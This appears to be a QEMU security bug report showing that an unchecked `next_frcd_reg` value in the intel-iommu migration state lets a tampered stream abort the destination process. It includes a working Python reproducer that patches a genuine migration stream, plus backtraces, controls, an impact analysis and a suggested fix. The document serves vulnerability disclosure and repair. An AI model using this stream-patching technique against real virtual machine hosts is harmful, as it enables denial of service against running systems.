Disclaimer: The contents below are largely assisted by LLM, but I have reviewed all contents. ## Host environment * QEMU flavor: `qemu-system-x86_64` * QEMU version: `qemu.git` master @ `3e3ccab106` ("Update version for v11.1.0-rc3 release"), i.e. 11.0.93 (v11.1.0-rc3) * Machine + device: `-machine q35,accel=qtest,kernel-irqchip=split -m 128M -display none -nodefaults -device intel-iommu` * Build: Ubuntu 24.04.4 LTS, Linux 7.0.0-15-generic x86_64, gcc 13.3.0, `configure --target-list=x86_64-softmmu,... --enable-asan --enable-ubsan --enable-debug --disable-werror --extra-cflags='-O1 -g -fno-omit-frame-pointer'`, run with `ASAN_OPTIONS=detect_leaks=0` ## Description of problem `IntelIOMMUState::next_frcd_reg` is restored straight from the migration stream, with no bound applied: ```c /* hw/i386/intel_iommu.c -- vtd_vmstate; the field of interest is at :4151 */ static const VMStateDescription vtd_vmstate = { .name = "iommu-intel", .version_id = 1, .minimum_version_id = 1, .priority = MIG_PRI_IOMMU, .post_load = vtd_post_load, .fields = (const VMStateField[]) { VMSTATE_UINT64(root, IntelIOMMUState), VMSTATE_UINT64(intr_root, IntelIOMMUState), VMSTATE_UINT64(iq, IntelIOMMUState), VMSTATE_UINT32(intr_size, IntelIOMMUState), VMSTATE_UINT16(iq_head, IntelIOMMUState), VMSTATE_UINT16(iq_tail, IntelIOMMUState), VMSTATE_UINT16(iq_size, IntelIOMMUState), VMSTATE_UINT16(next_frcd_reg, IntelIOMMUState), /* :4151 */ VMSTATE_UINT8_ARRAY(csr, IntelIOMMUState, DMAR_REG_SIZE), ... } }; ``` VT-d's fault-recording register file is a **single** entry in QEMU: ```c /* hw/i386/intel_iommu_internal.h */ #define DMAR_FRCD_REG_OFFSET 0x220 /* Offset to the fault recording regs */ #define DMAR_FRCD_REG_NR 1ULL /* Num of fault recording regs */ ``` `next_frcd_reg` is the write cursor into that file. Every helper that uses it validates the index with an `assert()` and nothing else: ```c /* hw/i386/intel_iommu.c:507, :537, :549 */ static bool vtd_is_frcd_set(IntelIOMMUState *s, uint16_t index) { /* Each reg is 128-bit */ hwaddr addr = DMAR_FRCD_REG_OFFSET + (((uint64_t)index) << 4); addr += 8; /* Access the high 64-bit half */ assert(index < DMAR_FRCD_REG_NR); /* :507 */ ... } static void vtd_set_frcd_and_update_ppf(IntelIOMMUState *s, uint16_t index) { ... assert(index < DMAR_FRCD_REG_NR); /* :537 */ ... } static void vtd_record_frcd(IntelIOMMUState *s, uint16_t index, uint64_t hi, uint64_t lo) { hwaddr frcd_reg_addr = DMAR_FRCD_REG_OFFSET + (((uint64_t)index) << 4); assert(index < DMAR_FRCD_REG_NR); /* :549 */ ... } ``` During normal operation the cursor cannot go out of range: `vtd_report_frcd_fault()` increments it and wraps at `DMAR_FRCD_REG_NR`, and `vtd_handle_gcmd_te()` (`:2685`) and `vtd_init()` (`:5073`) reset it to 0. Since `DMAR_FRCD_REG_NR == 1`, the only in-range value is 0, and the wrap is an **equality** test: ```c /* hw/i386/intel_iommu.c:607, :615 */ s->next_frcd_reg++; if (s->next_frcd_reg == DMAR_FRCD_REG_NR) { /* :607, :615 */ s->next_frcd_reg = 0; } ``` so any value greater than 1 would never come back into range either. Nothing on the load path repairs the value: ```c /* hw/i386/intel_iommu.c:4105 -- no clamp on next_frcd_reg anywhere in here */ static int vtd_post_load(void *opaque, int version_id) { IntelIOMMUState *iommu = opaque; ... ``` `vtd_post_load()` (`hw/i386/intel_iommu.c:4105`) was read in full: it calls `vtd_update_scalable_state()`, `vtd_update_iq_dw()`, `vtd_switch_address_space_all()` and `vtd_replay_pasid_bindings_all()`. **It does not touch `next_frcd_reg`**, and there is no `.pre_load`, no `VMSTATE_VALIDATE`, and no subsection that would fix it up. Confirmed by `grep -n next_frcd_reg hw/i386/intel_iommu.c include/hw/i386/intel_iommu.h` — the only sites are the ones listed above. So a stream that carries `next_frcd_reg >= 1` leaves the device permanently primed: the next DMAR or interrupt-remapping fault reaches ```c /* hw/i386/intel_iommu.c:593 */ static void vtd_report_frcd_fault(IntelIOMMUState *s, uint64_t source_id, uint64_t hi, uint64_t lo) { ... if (vtd_is_frcd_set(s, s->next_frcd_reg)) { /* :593 -> assert at :507 */ ``` and aborts the process. `vtd_is_frcd_set()` is the first of the three asserts to be hit; `vtd_record_frcd()` (`:549`) and `vtd_set_frcd_and_update_ppf()` (`:537`) sit immediately behind it on the same path. Both fault entry points funnel through `vtd_report_frcd_fault()`: * `vtd_report_dmar_fault()` (`:626`) — reached from `vtd_do_iommu_translate()` via `vtd_report_fault()` (`:2071`), i.e. **any failing DMA translation by any PCI device behind the vIOMMU**; * `vtd_report_ir_fault()` (`:646`) — reached from `vtd_irte_get()` / the interrupt-remap MMIO path, i.e. any MSI that fails remapping. Two early-outs in `vtd_report_frcd_fault()` have to be clear for the assert to be reached: `FSTS.PFO` must not be set, and `vtd_try_collapse_fault()` must not match. Both hold for a freshly-reset device, and both are themselves attacker-controlled (they read the migrated `csr[]` array). ## Steps to reproduce The reproducer below is standalone. It: 1. starts a **source** QEMU (`q35` + `intel-iommu`) and takes a *genuine* migration stream via QMP `migrate` to `exec:cat > file` — no hand-built stream; 2. locates the `iommu-intel` VMState section in that stream by its section header and patches exactly two fields: * `next_frcd_reg`: `0 -> 1` (`>= DMAR_FRCD_REG_NR`), and * `dmar_enabled`: `0 -> 1`, so that translation is actually performed. `root` is left at 0, which makes every root entry non-present and therefore makes every DMA fault; 3. feeds the patched stream to a **destination** QEMU started with `-incoming`; 4. provokes one fault. Two modes, both verified: * `--mode postload` (default) — the source arms the port-0 command-list engine of the ICH9 AHCI controller that `q35` always instantiates at `00:1f.2`. On the destination, `ahci_state_post_load()` re-maps that command list through the (now attacker-enabled) vIOMMU **while the stream is still being loaded**. No guest code runs on the destination at any point. * `--mode dma` — the destination completes migration normally and then a single PCI DMA (the `edu` toy device, driven over qtest, standing in for any DMA-capable device) trips the fault. This models the "abort happens later, while the restored VM is running" shape. `--control` re-runs either mode with `next_frcd_reg` left at 0; QEMU then records the fault normally and keeps running. That control is what rules out the possibility that the crash comes from the `dmar_enabled` patch rather than from `next_frcd_reg`. Sanitizers are **not** required: the failure is a plain `assert()`. `NDEBUG` is not defined anywhere in QEMU's build system (`grep -rn NDEBUG configure meson.build scripts/meson-buildoptions.sh` returns nothing), so `assert()` is live in ordinary release builds too. ASan was used only to obtain a symbolised backtrace (`ASAN_OPTIONS=detect_leaks=0:handle_abort=1`). ```python #!/usr/bin/env python3 """ QEMU intel-iommu: an unclamped `next_frcd_reg` restored from the migration stream turns the next DMAR fault into assert(index < DMAR_FRCD_REG_NR) -> abort. hw/i386/intel_iommu.c VMSTATE_UINT16(next_frcd_reg, IntelIOMMUState) hw/i386/intel_iommu_internal.h #define DMAR_FRCD_REG_NR 1ULL Modes: (default) the source arms the built-in q35 AHCI controller's command-list engine; on the destination the abort happens inside qemu_loadvm_state() itself, with no guest execution whatsoever. --mode=dma the destination finishes loading, then a single PCI DMA (the `edu` toy device, driven over qtest) provokes the fault. --control same as the chosen mode but next_frcd_reg is left at 0; the fault is then recorded normally and QEMU survives. Env: QEMU path to qemu-system-x86_64 (default ./build/qemu-system-x86_64) """ import json import os import socket import struct import subprocess import sys import tempfile import time QEMU = os.environ.get("QEMU", "./build/qemu-system-x86_64") MODE = "dma" if "--mode=dma" in sys.argv else "postload" CONTROL = "--control" in sys.argv TMP = tempfile.mkdtemp(prefix="vtd-frcd-") STREAM = os.path.join(TMP, "state.mig") BASE = ["-machine", "q35,accel=qtest,kernel-irqchip=split", "-m", "128M", "-display", "none", "-nodefaults", "-device", "intel-iommu"] if MODE == "dma": BASE += ["-device", "edu"] def connect(path, timeout=30): end = time.time() + timeout while time.time() < end: try: s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) s.connect(path) return s except (FileNotFoundError, ConnectionRefusedError): time.sleep(0.05) raise RuntimeError("timeout connecting to " + path) class QMP: def __init__(self, path): self.f = connect(path).makefile("rw", buffering=1, encoding="utf-8", newline="\n") self._read() self.cmd("qmp_capabilities") def _read(self): line = self.f.readline() if not line: raise RuntimeError("QMP connection closed") return json.loads(line) def cmd(self, name, **args): self.f.write(json.dumps({"execute": name, "arguments": args}) + "\n") while True: r = self._read() if "event" in r: continue if "error" in r: raise RuntimeError("QMP %s: %s" % (name, r["error"])) return r["return"] def wait_migration(self, tag): for _ in range(400): st = self.cmd("query-migrate").get("status", "none") if st in ("completed", "failed"): break time.sleep(0.05) print("[%s] migration status: %s" % (tag, st)) return st class QTest: def __init__(self, path): self.f = connect(path).makefile("rw", buffering=1, encoding="utf-8", newline="\n") def cmd(self, line): self.f.write(line + "\n") while True: r = self.f.readline() if not r: raise RuntimeError("qtest socket closed -- QEMU died") r = r.strip() if r.startswith("OK"): return r.split(" ", 1)[1] if " " in r else "" if r.startswith("FAIL"): raise RuntimeError("qtest FAIL: " + r) def cfg_rd(self, dev, fn, off): self.cmd("outl 0xcf8 0x%x" % (0x80000000 | (dev << 11) | (fn << 8) | (off & 0xFC))) return int(self.cmd("inl 0xcfc"), 0) def cfg_wr(self, dev, fn, off, val): self.cmd("outl 0xcf8 0x%x" % (0x80000000 | (dev << 11) | (fn << 8) | (off & 0xFC))) self.cmd("outl 0xcfc 0x%x" % val) def spawn(extra, name): log = os.path.join(TMP, name + ".log") fh = open(log, "wb") env = dict(os.environ, ASAN_OPTIONS=os.environ.get("ASAN_OPTIONS", "detect_leaks=0")) return subprocess.Popen([QEMU] + BASE + extra, stdout=fh, stderr=fh, env=env), log # ------------------------------------------------------------------ source qmp_path, qt_path = os.path.join(TMP, "s.qmp"), os.path.join(TMP, "s.qtest") src, srclog = spawn(["-qmp", "unix:%s,server=on,wait=off" % qmp_path, "-qtest", "unix:%s,server=on,wait=off" % qt_path], "src") q, t = QMP(qmp_path), QTest(qt_path) if MODE == "postload": # q35 always instantiates the ICH9 AHCI controller at 00:1f.2. Give it an # ABAR, then arm the port-0 command-list engine. ahci_state_post_load() # re-maps that buffer on the destination -- through the vIOMMU. assert t.cfg_rd(0x1f, 2, 0) == 0x29228086, "ich9-ahci not at 00:1f.2" ABAR = 0xA0000000 t.cfg_wr(0x1f, 2, 0x24, ABAR) # BAR5 = ABAR t.cfg_wr(0x1f, 2, 0x04, 0x06) # memory space + bus master t.cmd("writel 0x%x 0x00100000" % (ABAR + 0x100 + 0x00)) # PxCLB t.cmd("writel 0x%x 0x0" % (ABAR + 0x100 + 0x04)) # PxCLBU t.cmd("writel 0x%x 0x1" % (ABAR + 0x100 + 0x18)) # PxCMD.ST pxcmd = int(t.cmd("readl 0x%x" % (ABAR + 0x100 + 0x18)), 0) print("[src] AHCI PxCMD = 0x%x (LIST_ON=%d)" % (pxcmd, (pxcmd >> 15) & 1)) q.cmd("migrate", uri="exec:cat > " + STREAM) assert q.wait_migration("src") == "completed", open(srclog).read() q.cmd("quit") src.wait(timeout=20) print("[src] stream: %d bytes" % os.path.getsize(STREAM)) # ------------------------------------------------------------------- patch data = bytearray(open(STREAM, "rb").read()) NAME = b"iommu-intel" i = -1 while True: i = data.find(NAME, i + 1) if i < 0: raise SystemExit("iommu-intel section not found") # QEMU_VM_SECTION_FULL(0x04) be32 section_id u8 len idstr be32 iid be32 ver if data[i - 1] == len(NAME) and data[i - 6] == 0x04: break b = i + len(NAME) + 8 O_FRCD = b + 34 # root8 intr_root8 iq8 intr_size4 iq_head2 tail2 sz2 O_DMAR = b + 36 + 0x230 + 2 # csr[DMAR_REG_SIZE] iq_last_desc_type1 UNUSED1 print("[patch] section at 0x%x: next_frcd_reg=%d dmar_enabled=%d" % (i - 6, struct.unpack_from(">H", data, O_FRCD)[0], data[O_DMAR])) data[O_DMAR] = 1 # DMAR translation enabled if not CONTROL: struct.pack_into(">H", data, O_FRCD, 1) # >= DMAR_FRCD_REG_NR open(STREAM, "wb").write(bytes(data)) print("[patch] wrote dmar_enabled=1, next_frcd_reg=%d" % struct.unpack_from(">H", data, O_FRCD)[0]) # ------------------------------------------------------------- destination qmp_path, qt_path = os.path.join(TMP, "d.qmp"), os.path.join(TMP, "d.qtest") dst, dstlog = spawn(["-qmp", "unix:%s,server=on,wait=off" % qmp_path, "-qtest", "unix:%s,server=on,wait=off" % qt_path, "-incoming", "exec:cat " + STREAM], "dst") try: q = QMP(qmp_path) st = q.wait_migration("dst") if MODE == "dma" and st == "completed": t = QTest(qt_path) edu = next(d for d in range(32) if t.cfg_rd(d, 0, 0) == 0x11E81234) BAR = 0x90000000 t.cfg_wr(edu, 0, 0x10, BAR) # BAR0 t.cfg_wr(edu, 0, 0x04, 0x06) # memory space + bus master t.cmd("writeq 0x%x 0x1000" % (BAR + 0x80)) # DMA source IOVA t.cmd("writeq 0x%x 0x40000" % (BAR + 0x88)) # DMA dest (device SRAM) t.cmd("writeq 0x%x 0x10" % (BAR + 0x90)) # DMA length t.cmd("writeq 0x%x 0x1" % (BAR + 0x98)) # DMA cmd: RUN, from PCI print("[dst] edu DMA armed at 00:%02x.0, firing" % edu) t.cmd("clock_step 200000000") print("[dst] no crash") except (RuntimeError, OSError, ValueError) as e: print("[dst] destination went away: %s: %s" % (type(e).__name__, e)) for _ in range(60): if dst.poll() is not None: break time.sleep(0.1) rc = dst.poll() if rc is None: dst.kill() dst.wait() print("[dst] exit code: %s (-6 == SIGABRT)" % rc) print("---- destination stderr ----") sys.stdout.write("".join(l for l in open(dstlog, errors="replace") if not l.startswith(("[R ", "[S ", "[I ")))) print("---- artifacts: %s ----" % TMP) ``` Run it as: ```console $ QEMU=./build/qemu-system-x86_64 python3 repro.py ``` ### Observed Log excerpts below have had build/temp directory prefixes normalized to a standard in-tree `./build` layout. Nothing else in them is edited. **Shape 1 — `--mode postload`: abort during `qemu_loadvm_state()`, no guest execution at all** ``` [src] AHCI PxCMD = 0x8001 (LIST_ON=1) [src] migration status: completed [src] stream: 575506 bytes [patch] section at 0x7966c: next_frcd_reg=0 dmar_enabled=0 [patch] wrote dmar_enabled=1, next_frcd_reg=1 [dst] destination went away: ConnectionResetError: [Errno 104] Connection reset by peer [dst] exit code: -6 (-6 == SIGABRT) ---- destination stderr ---- qemu-system-x86_64: ../hw/i386/intel_iommu.c:507: vtd_is_frcd_set: Assertion `index < DMAR_FRCD_REG_NR' failed. ``` Backtrace (`ASAN_OPTIONS=detect_leaks=0:handle_abort=1`): ``` #4 0x... in __assert_fail #5 0x... in vtd_is_frcd_set ../hw/i386/intel_iommu.c:507 #6 0x... in vtd_report_frcd_fault ../hw/i386/intel_iommu.c:593 #7 0x... in vtd_report_dmar_fault ../hw/i386/intel_iommu.c:644 #8 0x... in vtd_report_fault ../hw/i386/intel_iommu.c:2071 #9 0x... in vtd_do_iommu_translate ../hw/i386/intel_iommu.c:2153 #10 0x... in vtd_iommu_translate ../hw/i386/intel_iommu.c:4037 #11 0x... in address_space_translate_iommu ../system/physmem.c:444 #12 0x... in flatview_do_translate ../system/physmem.c:517 #13 0x... in flatview_translate ../system/physmem.c:577 #14 0x... in address_space_map ../system/physmem.c:3725 #15 0x... in dma_memory_map ./include/system/dma.h:212 #16 0x... in map_page ../hw/ide/ahci.c:223 #17 0x... in ahci_map_clb_address ../hw/ide/ahci.c:730 #18 0x... in ahci_cond_start_engines ../hw/ide/ahci.c:248 #19 0x... in ahci_state_post_load ../hw/ide/ahci.c:1729 #20 0x... in vmstate_post_load ../migration/vmstate.c:219 #21 0x... in vmstate_load_vmsd ../migration/vmstate.c:393 #22 0x... in vmstate_load_field ../migration/vmstate.c:187 #23 0x... in vmstate_load_vmsd ../migration/vmstate.c:362 #24 0x... in vmstate_load ../migration/savevm.c:1006 #25 0x... in qemu_loadvm_section_start_full ../migration/savevm.c:2732 #26 0x... in qemu_loadvm_state_main ../migration/savevm.c:3030 ``` The vIOMMU is restored before other devices (`.priority = MIG_PRI_IOMMU`), so by the time `ahci_state_post_load()` runs the poisoned `next_frcd_reg` and `dmar_enabled` are already in place. The abort therefore happens **inside the loader**, before the destination VM is ever resumed. **Shape 2 — `--mode dma`: migration reports `completed`, the VM resumes, then a PCI DMA kills it** ``` [patch] section at 0x7967e: next_frcd_reg=0 dmar_enabled=0 [patch] wrote dmar_enabled=1, next_frcd_reg=1 [dst] migration status: completed [dst] edu DMA armed at 00:01.0, firing [dst] destination went away: RuntimeError: qtest socket closed -- QEMU died [dst] exit code: -6 (-6 == SIGABRT) ---- destination stderr ---- qemu-system-x86_64: ../hw/i386/intel_iommu.c:507: vtd_is_frcd_set: Assertion `index < DMAR_FRCD_REG_NR' failed. ``` ``` #5 0x... in vtd_is_frcd_set ../hw/i386/intel_iommu.c:507 #6 0x... in vtd_report_frcd_fault ../hw/i386/intel_iommu.c:593 #7 0x... in vtd_report_dmar_fault ../hw/i386/intel_iommu.c:644 #8 0x... in vtd_report_fault ../hw/i386/intel_iommu.c:2071 #9 0x... in vtd_do_iommu_translate ../hw/i386/intel_iommu.c:2153 #10 0x... in vtd_iommu_translate ../hw/i386/intel_iommu.c:4037 #11 0x... in address_space_translate_iommu ../system/physmem.c:444 ... #17 0x... in dma_memory_rw_relaxed ./include/system/dma.h:87 #18 0x... in dma_memory_rw ./include/system/dma.h:130 #19 0x... in pci_dma_rw ./include/hw/pci/pci_device.h:260 #20 0x... in pci_dma_read ./include/hw/pci/pci_device.h:279 #21 0x... in edu_dma_timer ../hw/misc/edu.c:155 #22 0x... in timerlist_run_timers ../util/qemu-timer.c:593 ... ``` **Controls (negative results).** Both controls patch **only** `dmar_enabled`, leaving `next_frcd_reg == 0`. Same code path, same fault, no abort: ``` === postload --control [patch] wrote dmar_enabled=1, next_frcd_reg=0 [dst] migration status: completed [dst] exit code: None ---- destination stderr ---- qemu-system-x86_64: vtd_iommu_translate: detected translation failure (dev=00:1f:02, iova=0x100000) === dma --control [patch] wrote dmar_enabled=1, next_frcd_reg=0 [dst] migration status: completed [dst] edu DMA armed at 00:01.0, firing [dst] no crash [dst] exit code: None ---- destination stderr ---- qemu-system-x86_64: vtd_iommu_translate: detected translation failure (dev=00:01:00, iova=0x1000) qemu-system-x86_64: New fault is not recorded due to compression of faults ``` Every frame in the backtrace resolves to a file in the QEMU tree, and the controls (which patch only `dmar_enabled` and leave `next_frcd_reg` at 0) survive the identical fault in both shapes, so the abort is attributable to the unclamped `next_frcd_reg` alone. ## Impact Denial of service of the **destination** QEMU process: `SIGABRT` from a reachable `assert()`. There is no memory corruption and no information disclosure — the index is used to compute an offset that is *only* consumed after the assert, so nothing out-of-bounds is ever read or written. Nothing is flagged by ASan/UBSan; the abort is the whole impact. The source VM is unaffected. Two consequences worth calling out: 1. In the `postload` shape the destination dies **during** the load, i.e. in the paused pre-start state, with no guest running on the destination at any point. 2. In the `dma` shape the migration is reported as `completed`, the VM resumes, and the process dies later — at the first DMA fault, which in a real deployment may be an arbitrary amount of time after the migration was declared successful. That makes it a worse failure mode operationally (management layer believes the migration succeeded), though it does not change who the attacker is. ## Suggested fix direction Reject the value at load time rather than clamping it silently, in line with `docs/devel/migration/main.rst` ("Fail the incoming migration in the case of a corrupted stream like this"). `vtd_post_load()` already exists, so this is a three-line addition: ```c static int vtd_post_load(void *opaque, int version_id) { IntelIOMMUState *iommu = opaque; + /* + * The migration stream is untrusted: next_frcd_reg indexes the fault + * recording register file and is asserted to be in range by + * vtd_is_frcd_set() / vtd_record_frcd() / vtd_set_frcd_and_update_ppf(). + */ + if (iommu->next_frcd_reg >= DMAR_FRCD_REG_NR) { + error_report("iommu-intel: next_frcd_reg %u out of range (max %u)", + iommu->next_frcd_reg, (unsigned)DMAR_FRCD_REG_NR - 1); + return -EINVAL; + } + /* * We don't need to migrate the root_scalable because we can * simply do the calculation after the loading is complete. ``` Belt-and-braces alternative (or in addition), since the three `assert()`s are the only guard on an index that is otherwise reachable from device state: turn them into `if (index >= DMAR_FRCD_REG_NR) { return; }` style early-outs with a `qemu_log_mask(LOG_GUEST_ERROR, ...)`, matching what commit `a35c5755d9` ("intel_iommu: fix guest-triggerable abort on oversized MMIO access", 2026-06-15) did for the 25 size asserts in the same file. Note also the `==` wrap tests at `:607` and `:615` — with a `>=` they would self-heal an out-of-range cursor after one fault, but they cannot help here because the assert fires before them. ## Attacker position and required privilege **Attacker position:** whoever can supply or tamper with the incoming migration / saved-state stream. That is a compromised or malicious *source* QEMU, an attacker on an unauthenticated migration channel, or anyone who can write the `savevm`/`-incoming` file. It is **not** the guest. **Required privilege — precondition:** none beyond the above. `next_frcd_reg` is a plain `VMSTATE_UINT16` with no clamp and no `post_load` fix-up, so setting it is a two-byte edit of the stream. **Required privilege — trigger:** this is the part worth reasoning about explicitly, because `security.rst`'s assert carve-out is phrased in terms of *guest* privileges: > **assert** / **abort**. If triggering the code path requires kernel privileges (or root > account access) in the guest, asserts/aborts in QEMU are a self inflicted denial of > service. These will **not** be treated as security flaws, at most hardening bugs. That carve-out does not fit cleanly here, and it is important not to hand-wave it in either direction: * The `postload` reproduction shows the trigger needs **no guest privilege at all, because it needs no guest**. The same actor who supplies the stream also supplies the AHCI port state that causes the DMA, and the abort happens inside `qemu_loadvm_state()`. Guest privilege is simply not a variable in that path. * The `dma` reproduction shows the other shape. There, the DMA that trips the assert is ordinary device activity. Note that the stream attacker also controls `root` and `dmar_enabled`, so they can make *every* translation fail; the restored guest does not have to do anything unusual, it just has to keep doing I/O. The guest is a victim here, not an accomplice, so "requires guest kernel privileges" is not an accurate description of the trigger either. (A guest *could* also reach it by itself once primed — programming a device to DMA at an unmapped IOVA is MMIO, so guest kernel privilege, or guest-userspace privilege in a VFIO-in-guest/DPDK setup where a userspace process legitimately drives a device behind the vIOMMU. But that path is not needed.) So the honest summary is: **the required privilege is control of the migration stream, and nothing else.** What that is worth is then governed not by the assert carve-out but by how upstream values the migration-stream threat model. Upstream documents the incoming migration stream as hostile input (`docs/devel/migration/main.rst`: "The destination should treat an incoming migration stream as hostile ... Fail the incoming migration in the case of a corrupted stream").